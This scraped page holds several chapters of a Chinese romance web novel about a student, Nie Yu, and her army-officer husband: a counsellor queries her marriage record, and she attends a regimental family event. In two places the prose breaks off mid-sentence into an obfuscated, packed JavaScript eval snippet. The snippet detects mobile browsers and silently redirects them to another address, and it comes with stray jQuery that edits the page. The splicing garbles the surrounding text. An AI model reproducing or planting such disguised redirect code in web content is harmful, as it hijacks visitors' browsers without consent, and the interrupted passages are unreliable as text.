孟京阳此刻眉眼间笼罩上了一束阴霾,衬得他整个人有些邪。听了聂宇的感慨,他只是瞥她一眼,说:“高看自己了,孟太太,她比你厉害多了。” 至少不会进了他房间不到半个小时就想跑。 聂宇却并不喜欢他这种口吻,无论是他在自嘲还是讽刺。她看了他一会儿,又躺了下去,背对着他没再说话。 孟京阳这会儿也恢复了正常,他躺过去,将聂宇扳了过来,拥入了怀里。聂宇不从,使劲挣扎,他却始终不放手。 很快聂宇也失去了斗志,在他怀中闷声反击道:“你的风度呢?你的体面呢?”干嘛那样对她说话! 孟京阳叹息一声,解释:“我只是不喜欢你拿自己和她类比。” 这是孟京阳的真实所想,他从来不会因着年纪小而敷衍聂宇,尤其是在感情问题上。 聂宇听着好受一些了,没再追着不放。只是,心里到底是烙下了一点儿在意的痕迹:他们分手的原因是她对他没感情,而非他对她。 29.57-57 这一晚,俩人之间的氛围有些沉闷。 第二天早上聂宇早早就醒来并起床,但她就像个锯嘴葫芦似的,不吭一声,不发一言。孟京阳当然知道症结所在,吃完早饭之后,他将正要回房的聂宇拦下,说:“聂宇,如果昨晚的事还是令你很介怀,那我再次郑重向你道歉。” “……”聂宇抬头,与他对视。 “抱歉,小宇,我不该拿你们做对比,也不该用那样的语气评价你们。但是有件事我可以向你保证,就如我婚前所说,从我们决定结婚到现在,我对你问心无愧,以后也还是如此。”孟京阳说着,微垂一下眸,“昨晚我是有一些情绪,但本意不是想发泄给你。” 聂宇心中稍稍动容。她有时候或许过于神化孟京阳了,他也是人,当然可以有情绪,只是—— “那你的情绪是因何而来,是因为她吗?”她低声问。 “不是,是因为我自己。”孟京阳说着,轻轻一拥聂宇,“有些时候,我也不是能把所有的事情都做到最好。” 聂宇没太明白他这句话的意思,但她决定不再问了。她只要他,问心无愧。 “好了,我不生气了。”聂宇说。 其实也没什么可气的,情绪的变化有时候就如夏季的天气,晴雨不过是转瞬之间的事。 “确定了?”他稍稍拉开一下两人之间的距离,打量她。 聂宇很不客气地翻过去一个白眼,然后笑了。分别在即,还是不要让他带着矛盾离开比较好。 - 和好之后,孟京阳迅速收拾东西,出发去开会,结束之后他将直接回团里。而聂宇则优哉游哉地坐着公交车回了学校,和舍友汇合之后,前往学院大楼开本年度新生的第一次全员大会。 这是学院组织召开的,主要目的是想让同一个班级、专业和学院的师生相互认识一下,方便以后相处。而计算机专业的新生也在这个会上得知一个消息,原本指派给他们的辅导员意外怀孕了,因为身体原因反应极大,请了假在家保胎休养。新生入学之际正是辅导员工作最忙碌之时,为免有所耽搁,学院又重新安排了一个代班辅导员,来负责他们。 新辅导员是人文学院来的,今年读研三,明年即将毕业。学院也是考虑到他研三事不多,除了论文之外就没有别的需要应付,才将他招了来。如此以来辅导员的工作也算是有着落了,只等明年拿了学位证就转正。 在学院领导介绍完毕之后,新辅导员走上讲台,跟学生们打了个招呼,顺便讲几句互相勉励的话。而台下的人看清他的长相之后,也纷纷发出了惊呼声,尤其是女孩子。无他,这个辅导员长的也太帅了点,简直像个男明星。 “大家好,我姓林,叫林虹岩,来自人文学院思政专业。我比你们大,但又没毕业,所以日常相处的时候你们不必一定要叫我林老师,也可以称呼我林师兄,我们一起互相学习。平时没什么特殊情况我都会在办公室待着,大家有什么问题尽管来找我,而我没什么事的话,一定不会去打扰大家。我存在的意义就是帮助计算机专业的每一位同学顺利完成大学四年的学业,希望我们以后能相处愉快。” 林虹岩声如其人,宛如被林间清风送来的玉石轻击声。再加上他轻轻一笑,瞬间迷倒不少人,坐在聂宇身旁的田舒云已经低呼了好几声了,她晓得,今天宿舍的晚间话题是有了。 果不其然,中午回到宿舍之后,大家就开始议论起来林虹岩,连平时最少参与这个话题的鲁静都发表了自己的见解,说林师兄虽然学的是文科,但气质很踏实沉稳,颇有理工风范。如此以来,学院里的人也不会为了他不是专业出身而多有异议了。 宁露回来之后听到她们在讨论帅哥,积极地参与了进来。得知这个帅哥名为“林虹岩”,她惊呼一声,问道:“你们都不看校宣传栏的吗?” “怎么?” 大家纷纷向她看去,包括已经上床开始休息的聂宇。 “是不是人文学院的那个林师兄?”宁露先确认了一遍,得知确为同一个人后,她说,“他是去年国奖和市十佳的获得者诶,人文学院唯一的一个双黄蛋,也是近五年来唯一的一个。” “这么厉害!”众人惊讶。 “那不然呢,不厉害怎么会把他放在第一行!”宁露笑笑,而后又有些疑惑,“像林师兄这样的人才,明年毕业之后肯定被用人单位抢着要,留校当一个辅导员是不是大材小用了!” “那不管!”田舒云坐在床铺上愉快地踢着腿说,“反正林师兄现在已经是我们的人了,嘿嘿!” “哎呀,你说话真是不害臊。” 下面已经闹起来了,而聂宇躺在自己的床铺上,已然已经睡着。 - 接下来两三天,林虹岩依旧是整个计算机学院的话题中心。在扒遍了他的履历之后,大家就开始猜测,谁会是林虹岩第一个叫过去谈话或者处理事情的人。 在学生时代,被老师找并不是一件让大多数人感到愉快的事,但因为林虹岩长得帅,所有人都开始期待起来,这让聂宇觉得有些魔幻。她对于男色的欣赏还停留在入门级别,再加上家里有一位重量级坐镇,导致她在这方面没什么想法——确切地说想法不多。而越是松弛的人越容易被上天眷顾,于是聂宇就有幸成为所有同学里第一个被林虹岩找的人。 那天刚下课不久,班长张翀气喘吁吁地跑来,说林老师让她上完下午的课之后去一趟办公室,他有事找。张翀话一落,聂宇就成了周边所有人艳羡的对象,纷纷来问她知不知道是什么事。聂宇费了好大的劲才摆脱“围攻”,回到宿舍自己也开始琢磨。 进入大学之后,为了将全部注意力放到学习上,聂宇没有参加任何组织和社团,按理说不应该有太多学习之外的事找上门。但聂宇也不太担心,因为谁都能看出来林老师很好说话,到时候见招拆招就行了。 下午,上完课之后,聂宇去了林虹岩的办公室。彼时办公室里只有他一人,金乌西坠,一缕缕暮光从他身上掠过,将他整个人都映衬的飘渺无比,越发有仙人之姿。然而能欣赏到这一刻的只有聂宇,她略皱了皱眉,走过去把办公室的灯打开了——太阳都快下山了,房间里也太暗了些。 灯光大亮惊动了林虹岩,他抬起头,看着进来的女学生,笑一笑撂下笔说:“是聂同学吧?” 他在档案里见过聂宇的照片,自然也认得她。 “对,班长说您找我。” 聂宇走过去,站着说道。 “是有件事,你先坐下吧。” 林虹岩指着办公桌一侧的椅子示意了下,然后又转过身去找东西。聂宇见状,就先按照他的吩咐坐下了。 “是这样的。”林虹岩将一个档案袋放到桌子上后,对聂宇说,“最近老师们在帮忙整理新入学的这批学生的档案,然后在你的档案里发现了一个小问题。” 林虹岩说着,从档案袋里取出一页纸,那是入学当天聂宇填写的学生基本情况调查表。 “我看了下你的档案,其他所有的表里有关个人婚姻情况的调查你都填的是未婚,只有入学时这张你填的是已婚,是不是当时匆匆忙忙填错了?还是?” 在聂宇的档案中,除了入学的这张调查表外,其他都是在领证前放进档案的东西。是以里面所有关于个人婚姻情况的部分,她填写的都是未婚。 “没错。”聂宇觉得有些不好意思,但还是坦诚相告道,“我大学开学前结的婚,所以——” 林虹岩懂了,同时又有些意外。他看这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586458|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩儿不过才二十出头,居然已经结婚了。 “那这样的话,你要重新填一份表,里面有关于你爱人的几项调查,也要填一下。” 林虹岩说着,从抽屉里取出另一款表来,递给聂宇。 聂宇接过,大概浏览了一下表。关于配偶的部分需要填写的内容并不多,但有一项,是在问配偶的工作单位和职务。聂宇想了想,觉得孟京阳情况特殊,还是事先跟林虹岩说一下。 “林老师。”聂宇十分规矩地称呼他道,“我家属在部队,不确定他的单位和职务有没有保密需求,这一项内容我要先跟他沟通过之后才可以填。这个表我可以晚两天交吗?” 林虹岩又有几分意外,但他点了点头,答应了聂宇这个请求。 - 好在明天就是周五,上完课后聂宇就回了家,放下书包休息了片刻,拎起电话打给孟京阳。 那头是通信员接的,说孟京阳这会儿正在训练场。聂宇只得挂断电话,等了大概有两个多小时,他才回拨过来。 这还是俩人这一周来第一次通电话,先前孟京阳打过两回,聂宇都不在家。扑了两回空,孟京阳想过给聂宇配个电话,这样方便联系。但又怕她嫌贵重不肯带去学校,一时间便没有开口。 “澄澄。” 孟京阳的声音从电话那头传来,聂宇听着,只觉得耳廓发痒,仿佛谁在她耳畔吹了口热风。她稍稍将听筒拿远了一些,才嗯了一声。 “回来了?”他问。 “嗯,不然怎么给你打电话?”她笑他明知故问。 “也不是不行。”孟京阳说,“我买个移动电话,你带到学校去。” “可千万别!”聂宇连忙打消他的念头,“昨天晚上才听说有个男生宿舍遭窃了,你给我带那么贵重的东西过去,不是招贼惦记么。”一顿,“不给你打电话就是没事儿,有事儿了肯定有人联系你。” “也不是非要有事才能打电话,你说呢?”孟京阳不再坚持,但还是想逗逗她。 聂宇哪里听不出来他的话中之意,唇角微弯,嘴仍硬着:“反正我现在这通电话是有事儿才打的。” “你说。” 聂宇把事情告诉了他,孟京阳想了想,说:职务一栏你填军人,至于工作单位,就填51XXX部队。” 聂宇一一记下,问他:“这个51XXX是什么?” “部队代号,专门用来对外联络。” “好。”聂宇记好,拿起来看看,十分满意。 “孟参谋长,今天我们老师听到我已婚后,沉默了几秒。我顿时觉得自己是不是有点儿亏啦,结婚太早了。” 事情解决,聂宇起了玩心,说道。 “现在后悔晚了。”孟京阳说,“月底团里要举办活动,邀请所有随军家属来参加,我给你报名了。” “真的假的?”聂宇一惊,反问。 “当然是真的。” 其实还没敲定,孟京阳这也算是征求聂宇的意见,“来么?” “我想想。”事情有些突然,聂宇琢磨了好一阵,决定去,“我去吧,给你正正名分。不然别人知道你结婚了家又在本地但老婆不来,会不会笑话你?” “这帮人真说不准,所以你最好还是来,镇一镇他们。” 这话说的,多给面子,聂宇“勉为其难”地答应了。 又聊了一些有的没的,聂宇愉快地挂断了电话。为免林虹岩久等,聂宇第二天上午就回到学校,把补全的表交到了辅导员的办公室。而林虹岩周一一来,就看到了她填在表上的内容—— “姓名:孟京阳;职务:军人;工作单位:燕城军区51XXX部队。” 孟京阳。林虹岩默默念出这三个字。 30.59-60 -59- 这节课之后,计院学生之间的话题人物又变成了庄沁蕾,都在设法打听一些她的情况。正好,庄沁蕾又是外语学院的老师,聂宇他们占得近水楼台的便利,回到宿舍便向宁露和李晓晓询问。 宁露没想到她们跟庄沁蕾还能有所牵扯,乍一听有些讶然。平静下来之后,她一反当初对着林虹岩大谈特谈的样子,动了动嘴唇,没怎么说话。在宁露看来,外语学院很多老师都挺会装的。但这并不是她会加以批判的地方,因为她自己也装,不然不会来学外语。但庄沁蕾,是所有老师中装的最真实的,以至于你以为她就是你第一眼看到的样子。 当然,宁露也能看出来宿舍里另外几个女生对庄沁蕾蛮有好感,自然就不会在这个时候打击她们的兴头,水眸转了几转,她说:“庄老师给我的感觉跟小宇蛮像的,都是那种看似温柔实则很有内容的人。” 这话说的,让人听不出好坏来。众人都向聂宇看去,发现她正坐在那里发呆。 实则聂宇也在想庄沁蕾。 今天下课之后,她留下来跟庄沁蕾对一些课代表工作相关的内容,临结束时,庄沁蕾忽然叫住她,问道:“你看我这记性,什么都问了,唯独忘记问你的名字。” 聂宇也不好意思地笑笑,然后告诉了她:“我叫聂宇,双耳聂,宇宙的宇。” 庄沁蕾听完稍稍一愣,看着她的眼神有所改变。聂宇觉得有些莫名,没待她开口询问,庄沁蕾又恢复如常,聂宇就只好当做没事发生了。 但心里还是觉得有些异样的,现在也只能尽力排解。回过神来,她注意到宿舍的人都在看她,便向离她最近的田舒云抛去一个询问的眼神。而田舒云只是笑笑,没说什么。 话题就此终结。 - 接下来几天,大家依旧是各忙各的。快到月底的时候,聂宇提前收拾好东西,准备利用周末时间回趟家。搁往常她是不常回去的,一来是孟京阳不在,二来是她要利用这段时间学习。而这次之所以准备回,自然也是有事——孟京阳先前提过的那个邀请随军家属参加的活动要举办了,就在明天。 这事儿他是让小戚来通知她的,因为她不住团部家属院,所以还需要人单独来接送。孟京阳已经请好了假,明天吃过午饭直接来学校接她。 聂宇为此给他打过去了一个外线电话,说她可以先回趟家,顺便收拾下东西,让他直接去家里接她。孟京阳让她不必麻烦,正好他也要回家里取东西,顺便帮她一起拿了,她在学校等着就成。 不过三站地的距离,聂宇不晓得他为什么如此安排。挂了电话后才想明白,这人是有意到她学校来的,想彰显一下存在感呢。聂宇顿时觉得他好幼稚,但她本身就无意隐瞒,到时候他来了被人看见也无妨。 第二天中午,聂宇吃过午饭,在床上小憩片刻,便按照预定的时间来到大门口等人。在快走到公交站的时候,她看见有一个熟人也在那里等车,正是他们的辅导员林虹岩。 对于老师,聂宇一向是恭敬有加的,见他也向她望过来,她便乖乖地走过去,跟林虹岩打招呼:“林老师好。” “你好。”林虹岩冲她笑笑,整个人在阳光下看上去很是温润,“这是要出门?还是回家?” “算是回家吧。”聂宇说,“我家就住在市里。” “那很方便了。” 聂宇不好意思地笑了下,又问林虹岩:“您是出门吗?” “对,去买件御寒棉衣,冬天快来了。”林虹岩说着叹了口气,似是在感慨时间之快。 “那确实应该买,燕城冬天很冷,我去年已经有所领教了。”聂宇将自己外套的衣领拉严实,笑说。 “你去年才来的燕城?”林虹岩问。 “对,我老家旬城的,去年为了复读来的燕城。” “然后你就嫁到了燕城。”这句话,似是询问,又似是肯定。 聂宇为之感到莫名,不懂他为什么突然提起她结婚的事。但这事本来也是事实,她不能拒绝别人谈及。 “对,我爱人是燕城本地人,单位也距离燕城不远。”聂宇笑一笑,有些勉强。 “那很不错了。”林虹岩微笑,“至少不用两地分居,影响你学习。” “不会的。”聂宇说,“即便是两地分居也不会,我很清楚现在的生活重心是什么。” 也算是在辅导员面前表好好学习的决心了,但林虹岩见她说的这般坚决且不带犹豫的,还是颇感意外。他打量似地看了看她,又收回了视线。 忽而,一辆猎豹越野车停在了街对面,驾驶位的窗户半降,露出孟京阳那张熟悉的脸来。他向她招手示意了下,因为车子在这个地方无法调头,需要聂宇走到对面去坐车。聂宇会意,便立刻向林虹岩道别。 “林老师,接我的人来了,我先走啦。” “好。” 林虹岩目送着聂宇离去,又看着那辆车载着她驶远。虽然驾驶位上的人的正脸只露出了几秒,但他凭借着自己绝佳的视力还是能够确认,确实是他认识的那个孟京阳无疑。 几年未闻音讯的人再次出现居然是以自己学生丈夫的身份,这算不算是……造化弄人?姓林的跟姓孟的之间这份孽缘,究竟何时能了呢? 林虹岩在心中感叹。 - 孟京阳并不晓得发生在车外的这一遭,但他看见了有人在跟聂宇说话,且此人性别为男,自然要问上一问。 “是我们专业的辅导员。”聂宇不以为意道。 孟京阳略一挑眉:“大学里的辅导员都长这么年轻了?还是男的?” “不然呢?”聂宇反问,“虽然我是女的,但我们学院里更多的人可是男的,安排个男性辅导员或许更方便。” “那你们女同学方不方便?” “还行。反正不当班干部,平时也不会有太多交集。” 那就好。孟京阳稍稍移开视线,观察着路况,向左打了一把方向盘。聂宇见状没有说话,等他重新将车汇入主路,她才笑问:“你介意吗?” “确切地说,是留意,不是介意。”任谁老婆跟异性站在一起,当丈夫的都不可能当做没看见。 聂宇觉得他这反应可不太像,但他没有再借题发挥,她也不好紧抓不放。眨了下眼,便转换了话题。 “我穿这件可以吗?你有没有给我带别的衣服?” 在校园里,聂宇穿的都是方便行动的长袖长裤,今天出来也不过是在外面套了一件更正式的格纹呢子外套罢了。她现在有些后悔了,早知道还是该回家自己亲自挑一件。 “带了里面的换洗,剩下的穿你现在的就好,明天就送你回来。” 聂宇现在的穿衣风格已经偏向成熟,看上去会比真实年龄偏大一些。孟京阳倒是希望她更随意,因为年轻很宝贵,人永远再也不会回到这个时候。 这话在聂宇听来以为他是嫌自己穿的老气了,垂眸瞧一瞧,心里有些懊恼。等这阵儿过了,她才意识到一个更重要的问题:她今晚要在团部大院过夜。 “今晚不回来?”聂宇问道。 “今晚结束已经很晚了,再送你回来,我还要不要睡?”孟京阳失笑地觑她一眼,口吻却毫无责备之意。 “那我住哪里?招待所?”以聂宇对部队的认知,她也就知道这几个地方。 “可以住招待所,但今天没有安排。”孟京阳颇为正经地说,“孟太太就委屈一下,住我宿舍吧。我那儿是单人间。” “不好。”聂宇立马说,“这样不好。” “……”孟京阳瞅她一眼,在红灯前停下后,说,“我跟我老婆一起睡,条令条例还能管着不成?” “影响你形象。”聂宇很认真地说,“部队里多严肃。” 孟京阳有时候想扒开聂宇的脑子看看里面到底装了些什么,难不成她以为穿上那身衣服就六亲不认,无情无欲了吗? “澄澄。” 他轻轻叫她一声,“虽然听起来像骗人,但在部队里,我跟你不睡一起也许比睡一起的问题要大。或许你还没走,政委就要找我谈心,问夫妻感情是不是出了什么问题,否则怎么会分居。” “??”有这么严重?聂宇简直不能相信。 “好意心领了。我会注意,不让你担心的事发生。” 这话说的很贴心,但聂宇不由怀疑:她担心的事跟他理解的事是同一件吗! - 经此一事,聂宇领悟了,距离她成为一个合格的军人家属还有很长一段路要走。但这并不妨碍她享受当下的快乐。 一个多小时后,孟京阳将车子开进团部大院,停在宿舍楼下,然后走路带着聂宇去礼堂。在那里,正在举行本年度最美军嫂的评比,也是聂宇今天要参加的活动。 聂宇跟在孟京阳身旁,能够感受到路上那些人投注在自己身上的目光。她尽量让自己表现地很大方,而那些人其实也不敢久看。很多都是年轻的士兵,最多只敢瞄她一眼,然后抬手向孟京阳敬礼,道一声“参谋长好。” 孟京阳依次回礼,在没人的时候,都是握着聂宇的手,给她足够的安全感。 这里跟干休所的环境很不相同,甚至跟他们两人单独住的大院也有区别,这里是真真正正的军事管理区,野战部队,所有人都仿佛绷着那股精气神,说一句话都要带出炸子音,惊天动地。 聂宇好生感慨,这是她第一次感受到这些。 孟京阳却是早已习惯,他带她走到礼堂外台阶下的一侧,那里有一个身穿长大衣的漂亮女人在等着。看到她,孟京阳大步上前。 “嫂子。”他略抬音调称呼她,“我把我爱人接过来了,一会儿我还要赶去开会,就把她交给你了。” 漂亮女人看聂宇一眼,发现她眼睛亮亮的,正在微笑着打量自己。面孔不禁一热,她说:“你们团我也是第一次来,交给我,孟参谋长你能放心?” “用人不疑,周参谋长都能放心把整个家交给你,我还有什么可担心的?” 孟京阳笑一笑,然后对聂宇说:“这是我相熟的一位战友的家属,说起来我俩还算本家,你称呼她嫂子也行,也可以直接叫她名字,孟宪。我待会儿还有个会要开,就请她陪你一起进去。等活动结束,我来带你去食堂参加会餐。” 聂宇不是离不开人的人,同时她也对面前这个漂亮姑娘有好感。但是在称呼一项上,她有些犯难:他都称呼嫂子的人,她可以直呼其名吗? 聂宇点点头,有些迟疑地看向孟宪。而孟宪似乎是猜到了她的所想,立刻说:“就叫我孟宪,千万别称呼嫂子。”一顿,“我们论我们的。” “好。”聂宇笑着答应,“那你叫我聂宇。” -60- 安排好这一切之后,孟京阳去开会了。聂宇和孟宪相视一笑,抬步步入礼堂。 此时活动已经开始,前排坐了不少人,聂宇和孟宪达成默契,在靠后的地方挑了位置,落座了。 “刚听你说你也是第一次来团里,那你家属也是才调来没多久吗?”聂宇低声问孟宪。 “不是。”孟宪小声回答,“我爱人不是这个团里的,他单位在辽城,我们这几天是因为家里有事才回来燕城,来这里也是顺路。” “辽城,那很远呢。”聂宇颇为意外。 “是啊。”孟宪笑笑,“他在那边工作,我正好也在那里读书。” “读大学?” 孟宪点一点头,又问聂宇:“我听孟参谋长介绍,你也是才上大学,读的什么专业?” “计算机,你呢?” “中文。”孟宪说,“我是纯文科脑袋。” “也很好啊,符合你的气质,很诗意的感觉。” 孟宪被她的形容逗乐:“有点夸张了。” “不不不。”聂宇连摆手,“我刚看到你的那一刻,想到一个词,出尘。漂亮的姑娘很多,但是漂亮出仙韵的,你是我见到的第一个。” 孟宪被夸的直脸红,过了会儿才说:“也许是我练过舞蹈,体态上占点便宜。但其他方面,真没你说的那么好。” “那就是了。”聂宇轻拍了下巴掌,“就是那种形体上的美感,没练过真不行。” “好啦,你别夸我了,再夸就是跟我客气了。”孟宪笑一笑,“我们先看看台上说什么。” 聂宇比了个“OK”的手势,两人一起正回目光。 此时,正有一个候选军嫂在台上讲述她和自己爱人的故事。俩人都是农村来的,丈夫在部队奋斗多年努力提干,将他们从农村接到了城里来。而在此之前,她就在老家一边照顾两边的双亲,一边抚育两个孩子,煞是辛苦。来到部队之后,她也没有耽于安乐,而是努力提高自身素质,从商场的保洁做起,一路做到了销冠,事业和家庭两不耽误。 说起自己的这些年来,女人称自己没有懈怠过一刻,但看到身边的人因为自己而过上舒适的生活,她感到非常骄傲,所有的辛苦都值得了。 这位军嫂是团里的老军嫂,好几次评比都有她,关于她的故事许多人也是耳熟能详。但每一次听,很多人还是颇受鼓舞,而她也凭借自己手中的资源,帮助了许多想工作却没有门路的军嫂找到了适合自己的道路,堪称团里许多家庭的指路明灯。 聂宇听着,颇为感慨。虽然评选的是“最美军嫂”,但这个女人所做的一切早已经超过一个“军人的妻子”的范畴,放到社会上也堪称一位女强人。姑且不论她这样一味地奉献自己是不是太过自苦,就冲她这份精神,也值得人尊重和学习。 接下来,又有几位候选人陆续上台讲述。聂宇仔细听着,发现几乎每人都有一厚沓的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611106|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸账,说的时候不光她们眸光莹莹,台下也有很多人跟着抹眼泪,仿佛是深有同感。从古至今,军人的家属都是不易做的,因为他们不光要为自己,为家人,还要为国。 聂宇突然叹了口气,感慨道:“感觉自己这个军属当的有些轻松。” 孟宪有些意外地看她一眼,然后拍拍她的手,说:“不要这样想。我爱人说过一句话,他们赞颂苦难,又祈望不要苦难。 聂宇哑然片刻:“说的对。而且日子还长着呢,谁也不知道以后会有什么。” “都一样的。”孟宪笑,“生活对谁都很公平,管你是不是军属。” 聂宇也笑,想她能有这番感慨,一定也是经历过什么。 - 就在礼堂的活动徐徐进行的时候,孟京阳那边已经开完了会。结束之后他也没歇着,和人去了训练场,边走边谈。陪同的便是孟宪的爱人,辽城军区某集团军某旅的参谋长,周幼棠。 “如何?也是有几年没感受过燕城的秋天了。”孟京阳看周幼棠一眼,问道。 “是够肃杀和萧瑟的,走哪儿都是这幅光景。”周幼棠话里有话道。 孟京阳笑了笑,说:“不管怎么说,熬吧,熬过去就是春天。不过,你跟我们团长还能认识,这点让我挺惊讶的。” “张正方介绍的,以前他就在你们师。”周幼棠说,“有几年了吧,那会儿劳团长就已经开始居安思危,跟我们谈论过师改旅的事儿。” “所以这次听说你回来,无论如何让我请你过来,谈谈经验。” “经验谈不上,毕竟现在这条河还没淌过去。教训的话,倒是有一箩筐。” 周幼棠这话,说的俩人都笑了。彼此对视一眼,颇有心照不宣之意。 孟京阳跟周幼棠有二十多年的交情了,因为俩人的长辈都在国防科工委工作过。虽说在父亲牺牲之后,孟京阳跟母亲就搬离了那里,但后又因为同在燕城军区,续上了这份情谊。现在团里到了关键时期,他尤其想听听周幼棠的意见,他是他眼中的先行者。 “京阳,你想好了,按你和劳团长的设想,有可能你要离开燕城,去北方待上一段时间。保守估计,最少两年,能接受?”周幼棠问他。 “这也是没办法的事。”孟京阳说,“说起来这点儿上还是你命好,单位和家属的学校在一个地方。” “也没那么好。”周幼棠竟忽然叹口气,“前段时间总部要建立一个统管武器装备的部门,老领导找我谈话,想调我回来。” 孟京阳骤然看向他,眸光闪烁几下,问道:“你怎么说?” “我拒绝了。”周幼棠看向别处,“更年轻的时候或许愿意拼一拼,但现在,需要考虑的东西多了。再加上旅里的这一摊儿还没完全走上正轨,实在也丢不开手。” “好吧,你也到了儿女情长的时候了。” 孟京阳垂眸调侃他道,周幼棠不以为意。 “在哪儿干工作不是干呢?”周幼棠正回目光,看着他说,“你也用不着笑话我,早晚有这一天。” “早晚?”孟京阳笑着咂摸着这两个字,心想用不到“早晚”了,刚听到他说有可能要去北方两年,他的心里已经开始在纠结。 “走吧,去食堂,今晚会餐。” 不想再谈及这些,孟京阳一拍周幼棠的肩膀,说道。 “不去了。一会儿陪我老婆回她娘家去看看,后天我们就要回辽城了。”周幼棠笑笑,“下次吧,什么时候来辽城,我做东。” - 礼堂这边,评比活动结束之后,聂宇也在邀请孟宪和她一起去食堂会餐。短短两个小时相处下来,她们已经成为了朋友,并互留了联系方式。 得知她有事要先走,聂宇甚为遗憾,两人约定好等她再回燕城的时候相聚,便陪着她去约定好的地方等她爱人。 等两人到的时候,孟京阳和周幼棠已经在了。他们留意到有人过来,便停下了谈话。 “澄澄——” 孟京阳先一步将聂宇叫到身边,向她介绍道:“这是孟宪的爱人,也是我的发小和战友,周幼棠。” “你好。”聂宇向他伸出手,眼睛里全是感兴趣的打量,她想看看到底是什么人能够配得上孟宪,结果还好没让人失望。 周幼棠哪里看不出她的那点小心思,他更在意的是孟京阳:这小子,赶在他之前把老婆拽到身边,倒是显得他不积极了。 周幼棠礼节周到地回应聂宇的招呼,然后便伸手握住了孟宪的手。后者觉得这样有些张扬,奈何拗不过他,只好随他。 “我们先走了,回头再联系。” 周幼棠说着,十分潇洒地带着人离去。倒是孟宪,回头张望了两次,颇为不舍地向聂宇挥了挥手。 “相处的很愉快么?”孟京阳在一旁看着聂宇有些遗憾的神色,问道。 “是啊,她长得可真漂亮。”聂宇笑说,“原来真正美好的存在,是不分性别都可以欣赏的。” 孟京阳没料到是这个原因,顿时理解了某人方才爆发的那点急切,确实是不能怪他。 “走吧。”他说,“去食堂看看,会餐快开始了。” - 今天的会餐是团里这一年来举办的最隆重的一回,地点就定在团首长常去的干部食堂,掌勺的也是全团手艺最佳的炊事兵。 聂宇一进门,就闻到一股浓重的油香气,顿时被勾出了馋虫。有刚认识的军属在她向打招呼,邀请她去他们那桌,聂宇回头看了眼孟京阳,见他没有反对,便走了过去。 “妹儿,你好乖哦,什么事儿都要先问下你男人的意见。” 一个颇有资历的嫂子跟她开玩笑道,聂宇不好意思地笑笑,接过一个盛满饮料的杯子开始喝。 这边孟京阳见她有人陪着,便出去找劳仲辉了。等他再陪着团长进来的时候,发现聂宇已经不在原处,找人一问,顺着一位嫂子手指的方向,发现她正和一群小孩子围着做松鼠桂鱼的那位老兵在那儿津津有味地欣赏,让他不由失笑。 “澄澄——” 孟京阳走过去,想将她叫过来,引荐给团长认识。这既是礼节,也是劳仲辉的要求,他想看看摆在孟京阳书柜里那张照片里的真人。 然而松鼠桂鱼正做到关键时候,刚挂了糊准备下油锅炸,出来后就将是摆在盘子里的样子。于是聂宇不太想走开,她觉得这个过程很解压。 孟京阳也没有硬叫她,等聂宇看完,对上他的目光发现其中隐含的笑意时,才忽然回过神来,脸一热拿着杯子假装要去倒水喝。孟京阳拦住她的假动作,带着她去见劳仲辉。 聂宇还想为自己挽回下脸面,就听孟京阳忽然一笑,说:“老尚也是十来年的老炊事兵了,脸皮最厚,硬是让你看脸红了。” 聂宇:“……”呃,这能怪她吗? 31.61-62 -61- 虽然出了个小糗,但到了劳仲辉面前,聂宇又恢复了淡定的大人模样。孟京阳在一旁看着她大方得体地与人交谈,心里颇为感慨。他偶尔会觉得,聂宇是个谜。就像一副洗了又洗的扑克牌,再翻开时,不知道看到的会是哪一张。 当晚,会餐到很晚才结束,聂宇只得选择留宿。告别几个新认识的朋友,她和孟京阳一起回了宿舍。 出乎意料的,这间宿舍配置的还算齐全,单人不说,还有一个卫生间。这在这里可是省了大麻烦,因为众所周知,部队的厕所不分性别,一律为男。 聂宇转了一圈,很是满意地在椅子上落座:“这一层的宿舍都是这样的吗?” “只有这一间。”孟京阳说,“以前是给下来视察的首长住的,盖了招待所之后就搁置了。等我来了,团里就分给我当单人宿舍用。” 但其实他并不常住这里,而是图方便在办公室里支起了一架床。不过通信员每隔几天还是会来打扫一下,所以能一直保持干净整洁。 “那你的待遇还不错。”连带着她也可以跟着享福喽。 孟京阳没反驳她,只说:“换洗衣服在柜子里,热水也烧好了,可以先去洗个澡。” “好。” 在食堂待了一晚上,衣服上全是味儿,聂宇先将外套在外面挂起,然后进去卫生间冲了个热水澡。等出来时,整个人浑身都舒坦了许多。 孟京阳也紧随其后,不过他比聂宇动作快多了,待他洗完出来的时候,聂宇正坐在桌前理头发,试图在没有吹风机的情况下用干毛巾把头发擦干。 孟京阳就穿一身简单的体能服入睡,见她在桌子前折腾,他打开柜子拿出行李袋,从最下面取出吹风机,走到桌前将插头摁入桌上的插座中,一按开关,便有徐徐的热风吹出来。 聂宇听到嗡嗡声,不顾头发披散在前面遮挡视线,要回头看:“这什么?你哪来的吹风机?” 孟京阳按住她的肩膀将她扭过去,只手已经拨弄起她的长发,开始给她吹头。聂宇没想到今晚还能有此等福气,先是有些不安,待适应了,便慢慢开始享受了。无他,孟京阳的动作实在太让她舒服了,除了在外面理发外,她很少享受别人给她吹头的待遇呢。 几分钟后,头发吹得差不多了,聂宇回头一把抓过吹风机,发现原来是家里的那一个。居然被他带到了这里! 